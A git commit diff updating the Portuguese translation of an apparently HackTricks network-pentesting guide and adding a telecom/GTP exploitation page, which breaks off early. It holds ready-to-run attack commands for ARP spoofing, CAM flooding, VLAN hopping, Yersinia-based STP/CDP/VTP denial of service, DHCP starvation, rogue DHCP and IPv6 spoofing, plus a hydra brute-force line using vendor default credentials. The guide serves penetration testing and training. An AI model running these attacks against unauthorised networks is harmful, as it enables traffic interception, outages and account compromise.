Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-30 04:45:56 +00:00
parent 0725c4cd44
commit f272b23488
4 changed files with 254 additions and 54 deletions

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

View File

@ -12,8 +12,8 @@ Nesta situação, você tem algum **escopo de IPs** (talvez até vários **inter
### ICMP
Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\
Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais simples é apenas enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para solicitações-respostas ICMP echo comuns).
Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é simplesmente enviar um **pedido de eco** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para o comum pedido-resposta de eco ICMP).
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -29,21 +29,21 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
```
Você também pode realizar esta etapa com `nmap`, mas é mais lento e de certa forma `nmap` tem problemas para identificar hosts ativos.
### Descoberta de Portas HTTP
### Descoberta de Porta HTTP
Esta é apenas uma descoberta de portas TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
Esta é apenas uma descoberta de porta TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Descoberta de Porta UDP
Você também pode tentar verificar se alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
Você também pode tentar verificar se alguma **porta UDP está aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
A linha do nmap proposta anteriormente testará as **1000 principais portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **probes UDP** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
A linha do nmap proposta anteriormente testará as **top 1000 portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **UDP probes** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### Descoberta de Portas SCTP
```bash
@ -64,7 +64,7 @@ Se você estiver dentro da rede, uma das primeiras coisas que você vai querer f
### Passivo
Você pode usar essas ferramentas para descobrir passivamente hosts dentro de uma rede conectada:
Você pode usar essas ferramentas para descobrir hosts de forma passiva dentro de uma rede conectada:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Ativo
Note que as técnicas comentadas em [_**Descobrindo hosts do lado de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
Note que as técnicas comentadas em [_**Descobrindo hosts de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
```bash
#ARP discovery
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou se a estrutura de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
Com o Sniffing, você pode aprender detalhes de faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.
@ -244,21 +244,21 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - CAM overflow
### MAC Flooding - Transbordo de CAM
Transbordar a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (broadcasting todo o tráfego).
Transborde a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (transmitindo todo o tráfego).
```bash
macof -i <interface>
```
Em switches modernos, essa vulnerabilidade foi corrigida.
### Ataques 802.1Q VLAN / DTP
### 802.1Q VLAN / Ataques DTP
#### Trunking Dinâmico
O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada.
Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN ao configurar interfaces virtuais.
Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais.
A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Trunk, Dinâmico, Automático ou Acesso—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
@ -279,7 +279,7 @@ Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o
```
sudo python3 DTPHijacking.py --interface eth0
```
Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
Eu gostaria de apontar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.**
@ -342,7 +342,7 @@ sendp(packet)
```
#### Bypass de Segmentação Lateral de VLAN <a href="#d679" id="d679"></a>
Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **burlar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs alvo e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
#### Bypass de VLAN Privada de Camada 3
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para impedir que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para evitar que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à usada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à utilizada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
**Passos Chave do Ataque:**
1. **Elaboração de um Pacote:** Um pacote é especialmente elaborado para incluir o endereço IP do cliente alvo, mas com o endereço MAC do roteador.
2. **Exploração do Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
2. **Explorando o Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
### Ataques VTP
@ -366,14 +366,14 @@ O VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza númer
#### Funções do Domínio VTP
- **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configuração de VLAN local.
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configurações de VLAN locais.
- **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
#### Tipos de Anúncios VTP
- **Anúncio Resumido:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
- **Anúncio de Subconjunto:** Enviado após alterações na configuração da VLAN.
- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumido, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
- **Anúncio Resumo:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
- **Anúncio de Subconjunto:** Enviado após alterações na configuração de VLAN.
- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumo, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, uma vez que os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede.
@ -385,7 +385,7 @@ No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP pa
### Ataques STP
**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
**Se você não consegue capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
#### **DoS BPDU STP**
@ -423,7 +423,7 @@ O Protocolo de Descoberta CISCO (CDP) é essencial para a comunicação entre di
O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
#### Induzindo a Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
#### Induzindo Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
Uma abordagem mais agressiva envolve lançar um ataque de Negação de Serviço (DoS) sobrecarregando a memória do switch, fingindo ser dispositivos CISCO legítimos. Abaixo está a sequência de comandos para iniciar tal ataque usando Yersinia, uma ferramenta de rede projetada para testes:
```bash
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão fortemente sobrecarregadas, levando ao que é frequentemente referido como **“paralisia da rede”** devido ao consumo excessivo de recursos.
Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão fortemente sobrecarregadas, levando ao que muitas vezes é referido como **“paralisia da rede”** devido ao consumo excessivo de recursos.
#### Ataque de Impersonação CDP
```bash
@ -490,7 +490,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**DoS**
**Dois tipos de DoS** podem ser realizados contra servidores DHCP. O primeiro consiste em **simular hosts falsos suficientes para usar todos os endereços IP possíveis**.\
Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Por exemplo, isso **não é possível em redes Wifi**.
Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por exemplo, isso **não é possível em redes Wifi**.
Outra maneira de realizar um DoS DHCP é enviar um **pacote DHCP-RELEASE usando como código de origem todos os IPs possíveis**. Assim, o servidor pensará que todos terminaram de usar o IP.
```bash
@ -503,7 +503,7 @@ Você poderia usar os ataques DoS mencionados para forçar os clientes a obter n
#### Definir valores maliciosos
Um servidor DHCP malicioso pode ser configurado usando o script DHCP localizado em `/usr/share/responder/DHCP.py`. Isso é útil para ataques de rede, como capturar tráfego HTTP e credenciais, redirecionando o tráfego para um servidor malicioso. No entanto, configurar um gateway malicioso é menos eficaz, pois isso apenas permite capturar o tráfego de saída do cliente, perdendo as respostas do verdadeiro gateway. Em vez disso, recomenda-se configurar um servidor DNS ou WPAD malicioso para um ataque mais eficaz.
Um servidor DHCP malicioso pode ser configurado usando o script DHCP localizado em `/usr/share/responder/DHCP.py`. Isso é útil para ataques de rede, como capturar tráfego HTTP e credenciais, redirecionando o tráfego para um servidor malicioso. No entanto, configurar um gateway malicioso é menos eficaz, pois permite apenas capturar o tráfego de saída do cliente, perdendo as respostas do verdadeiro gateway. Em vez disso, recomenda-se configurar um servidor DNS ou WPAD malicioso para um ataque mais eficaz.
Abaixo estão as opções de comando para configurar o servidor DHCP malicioso:
@ -527,9 +527,9 @@ Usando corretamente essas opções, um servidor DHCP malicioso pode ser estabele
Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:
- Atacando a força bruta ativa de senhas via EAP
- Força bruta ativa de senhas via EAP
- Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
- Captura de mensagens EAP e quebra de senha offline (EAP-MD5 e PEAP)
- Captura de mensagens EAP e quebra de senhas offline (EAP-MD5 e PEAP)
- Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS
- Injetando tráfego de rede malicioso ao autenticar usando um hub ou similar
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
### RIP
Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos opcionais IPsec AH e ESP dentro do IPv6.
Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos IPsec AH e ESP opcionais dentro do IPv6.
- **RIP e RIPv2:** A comunicação é feita através de datagramas UDP na porta 520.
- **RIPng:** Utiliza a porta UDP 521 para transmitir datagramas via multicast IPv6.
@ -568,7 +568,7 @@ Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIG
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Ele também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
### OSPF
@ -633,7 +633,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Para resolução de host local quando as consultas DNS falham, sistemas Microsoft dependem de **Link-Local Multicast Name Resolution (LLMNR)** e do **NetBIOS Name Service (NBT-NS)**. Da mesma forma, **Apple Bonjour** e implementações de **Linux zero-configuration** utilizam **Multicast DNS (mDNS)** para descobrir sistemas dentro de uma rede. Devido à natureza não autenticada desses protocolos e sua operação sobre UDP, transmitindo mensagens, eles podem ser explorados por atacantes que visam redirecionar usuários para serviços maliciosos.
@ -642,21 +642,21 @@ Leia aqui mais informações sobre [como se passar por serviços com Responder](
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta desse servidor pelos clientes pode ocorrer através de vários mecanismos:
Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta deste servidor pelos clientes pode ocorrer através de vários mecanismos:
- Através de **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
- Através do **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
- Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
- Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso.
A ferramenta Responder tira proveito desse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre esse ataque em** [**Spoofing SSDP e Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre este ataque em** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### Spoofing de Vizinhança IPv6
### IPv6 Neighbor Spoofing
Esse ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW possui o MAC do atacante.
Este ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
@ -669,9 +669,9 @@ sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP spoofing
### Spoofing DHCP IPv6
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Então, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
@ -704,7 +704,7 @@ Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente
Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o acessará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de** _**wwww.facebook.com**_ **de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -770,11 +770,11 @@ Leve em consideração que quando um pacote UDP é enviado para um dispositivo q
### **Descoberta ARP**
Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo utilizados responderão.
Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo usados responderão.
### **mDNS (DNS multicast)**
Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**; a máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services".
Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Então, ela apenas procura por máquinas que respondem a "services".
**Ferramentas**
@ -786,7 +786,7 @@ Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_service
Bettercap transmite pacotes para a porta 137/UDP perguntando pelo nome "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
### **SSDP (Protocolo de Descoberta de Serviços Simples)**
### **SSDP (Protocolo Simples de Descoberta de Serviços)**
Bettercap transmite pacotes SSDP procurando por todos os tipos de serviços (Porta UDP 1900).
@ -794,6 +794,12 @@ Bettercap transmite pacotes SSDP procurando por todos os tipos de serviços (Por
Bettercap transmite pacotes WSD procurando por serviços (Porta UDP 3702).
### Exploração de Telecom / Mobile-Core (GTP)
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## Referências
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
@ -801,6 +807,4 @@ Bettercap transmite pacotes WSD procurando por serviços (Porta UDP 3702).
- **Hacking Prático de IoT: O Guia Definitivo para Atacar a Internet das Coisas. Por Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,140 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles utilizam UDP simples com quase nenhuma autenticação, **qualquer ponto de acesso dentro de um perímetro de telecomunicações geralmente pode alcançar diretamente os planos de sinalização do núcleo**. As seguintes notas coletam truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
## 1. Recon & Acesso Inicial
### 1.1 Contas OSS / NE Padrão
Um conjunto surpreendentemente grande de elementos de rede de fornecedores vem com usuários SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma lista de palavras dedicada aumenta dramaticamente o sucesso de força bruta:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Se o dispositivo expuser apenas um VRF de gerenciamento, faça um pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
### 1.2 Descoberta de Hosts dentro do GRX/IPX
A maioria dos operadores de GRX ainda permite **ICMP echo** através da backbone. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os ouvintes GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerando Assinantes `cordscan`
A seguir, a ferramenta Go cria pacotes de **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que atende o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
```bash
# Build
